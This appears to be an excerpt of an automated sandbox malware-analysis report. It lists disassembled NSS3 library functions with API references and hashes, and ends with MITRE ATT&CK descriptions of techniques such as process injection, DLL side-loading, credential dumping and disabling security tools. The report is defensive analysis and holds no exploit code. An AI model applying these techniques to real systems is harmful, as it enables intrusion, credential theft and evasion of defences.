Function 6CF1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC2D

Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
Part of subcall function 6CEBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
Part of subcall function 6CEBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
Part of subcall function 6CEBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC59
free.MOZGLUE(8CB6FF01,6CEF6AC6,6CF0639C,?,?,?,?,?,?,?,?,?,6CF05D40,00000000,?,6CF0AAD4), ref: 6CF1AC62

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction ID: 1a0bb2aa7df5fc5176a699b0e4614883b36afe346da80e065cf18c144a9c4721
Opcode Fuzzy Hash: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction Fuzzy Hash: E0014BB56046009FDF00DF15E9C0B56B7F8AF44B5CF188468E9499FB06E735E948CBA2

Function 6CECFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4
free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e93fdc40a31654e9e9ea7449e0988036cfc5418d687e87903f76f508a1965210
Instruction ID: f2b3d900077777d31bea12c46565bc738c5e0ae2fbdb3f6a0fed4279bf3f54b9
Opcode Fuzzy Hash: e93fdc40a31654e9e9ea7449e0988036cfc5418d687e87903f76f508a1965210
Instruction Fuzzy Hash: FEF028B17012025BEB044B55DD80A5B7B78EF4079CB248134ED288BB01E731E815C3F2

Function 6CF8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC61
free.MOZGLUE ref: 6CF8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC80
free.MOZGLUE(?), ref: 6CF8CC87

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction ID: 19ae0842b4c09d704a0ab4a5b3d8f4b0053d09ce58da967075bd5525e11cd27c
Opcode Fuzzy Hash: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction Fuzzy Hash: 44E065767006089FCA10EFA9DC48C8777BCEE492703150525E691C3700D232F905CBE1

Function 6CE69DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE69E1F

Part of subcall function 6CE213C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDF2352,?,00000000,?,?), ref: 6CE21413
Part of subcall function 6CE213C0: memcpy.VCRUNTIME140(00000000,6CDF2352,00000002,?,?,?,?,6CDF2352,?,00000000,?,?), ref: 6CE214C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CE6A006
ESCAPE expression must be a single character, xrefs: 6CE69F78

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 1d1636e44f3a51e149cd10eb7e6dc4db44112aec40c9a4679008373e54c762fc
Instruction ID: adfc7072bff29327dbbdf3e362aa2343070e124926ed0f2a739ad78b6d6269ca
Opcode Fuzzy Hash: 1d1636e44f3a51e149cd10eb7e6dc4db44112aec40c9a4679008373e54c762fc
Instruction Fuzzy Hash: 04810870A546518BDB00CF2AC0813BAB7F2AF8631CF398659D8A48BF85D736D847C791

Function 6CEC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEC4DE6

Strings

%d.%d, xrefs: 6CEC4DDE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction ID: 67a7e57820ce96533142ceca3f2c8526665d5666c738cc471e6afdbdd2164297
Opcode Fuzzy Hash: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction Fuzzy Hash: FD31FEF2E042186BEB506BA19C45BFF7B78DF41308F150469ED259B741EB349905CBE2

Function 6CEE4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEE3827,?,00000000), ref: 6CEE4D0A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEE4D22

Part of subcall function 6CECFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE71A3E,00000048,00000054), ref: 6CECFD56

Strings

'8l, xrefs: 6CEE4D07

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0d6c6b04d9c244a685d5769de52fefc3f7134e979edd5898dd6fd978869ac22c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 43F0683260113857DB104DAA9C4078736FC9B496FDF350272DD28CBB81E631DC058692

Function 6CF0AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CF0AF78

Part of subcall function 6CE6ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6ACE2
Part of subcall function 6CE6ACC0: malloc.MOZGLUE(00000001), ref: 6CE6ACEC
Part of subcall function 6CE6ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6AD02
Part of subcall function 6CE6ACC0: TlsGetValue.KERNEL32 ref: 6CE6AD3C
Part of subcall function 6CE6ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE6AD8C
Part of subcall function 6CE6ACC0: PR_Unlock.NSS3 ref: 6CE6ADC0
Part of subcall function 6CE6ACC0: PR_Unlock.NSS3 ref: 6CE6AE8C
Part of subcall function 6CE6ACC0: free.MOZGLUE(?), ref: 6CE6AEAB

memcpy.VCRUNTIME140(6CFD3084,6CFD02AC,00000090), ref: 6CF0AF94

Strings

SSL, xrefs: 6CF0AF73

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 39a3a73233123fbcf1ea8633731ce4fcf9f76d7b13556ed8b00b0b6241ae6e09
Instruction ID: 1d9e3bf0d527a464bddffd1d38152dffa510c538a34a994e47372284027fe914
Opcode Fuzzy Hash: 39a3a73233123fbcf1ea8633731ce4fcf9f76d7b13556ed8b00b0b6241ae6e09
Instruction Fuzzy Hash: D7215CB6B25A489BCB80EF71A82B3167A71B302B0C7555918C3190BF25D772614CAFE2

Function 6CE60F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B

Part of subcall function 6CE61370: GetSystemInfo.KERNEL32(?,?,?,?,6CE60936,?,6CE60F20,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000), ref: 6CE6138F

PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

Part of subcall function 6CE61110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001,00000040), ref: 6CE61130
Part of subcall function 6CE61110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001,00000040), ref: 6CE61142
Part of subcall function 6CE61110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001), ref: 6CE61167

Strings

clock, xrefs: 6CE60F20

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 682263548c41266a437e24f3dc28b8e5bdb9284adc0dd8b66407f18c4c0ff1b1
Instruction ID: 26c91263f251e7a46d232a2eb2da5c1ec2bb721c372223c0ee47876c84b1fb7f
Opcode Fuzzy Hash: 682263548c41266a437e24f3dc28b8e5bdb9284adc0dd8b66407f18c4c0ff1b1
Instruction Fuzzy Hash: 7AD02232AA020451C54222E79C4DB96FABCC7C3279F20082AE00883E000A2768EBC2A9

Function 6CED0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CED0DF5
TlsGetValue.KERNEL32 ref: 6CED0E2D
TlsGetValue.KERNEL32 ref: 6CED0E58
TlsGetValue.KERNEL32 ref: 6CED0E84

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
Instruction ID: 9ef8f27b5267201be69033d9e2a1e97591189dd3a1ea6db9632a0a265cf63f54
Opcode Fuzzy Hash: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
Instruction Fuzzy Hash: 1D318070A657968FDF40AF39854826977B4BF0630CF2A466DDC8887B11DB34A486CA81

Function 6CE81EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE81ECE
free.MOZGLUE(?), ref: 6CE81EDF
free.MOZGLUE(?), ref: 6CE81EEF
free.MOZGLUE(?), ref: 6CE81EF5

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1e67029e5a7516ee34dffc24f030a95a5d90da7e7148b0c7681c0d8d1b8dea16
Instruction ID: 7300257c0416874555cd42495ba1481299706d1818630f100232216006d8f446
Opcode Fuzzy Hash: 1e67029e5a7516ee34dffc24f030a95a5d90da7e7148b0c7681c0d8d1b8dea16
Instruction Fuzzy Hash: 26F089B17115056BEB00DBAADC89E67737CEF45599B140435EC1DC3B00D726F51587B1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

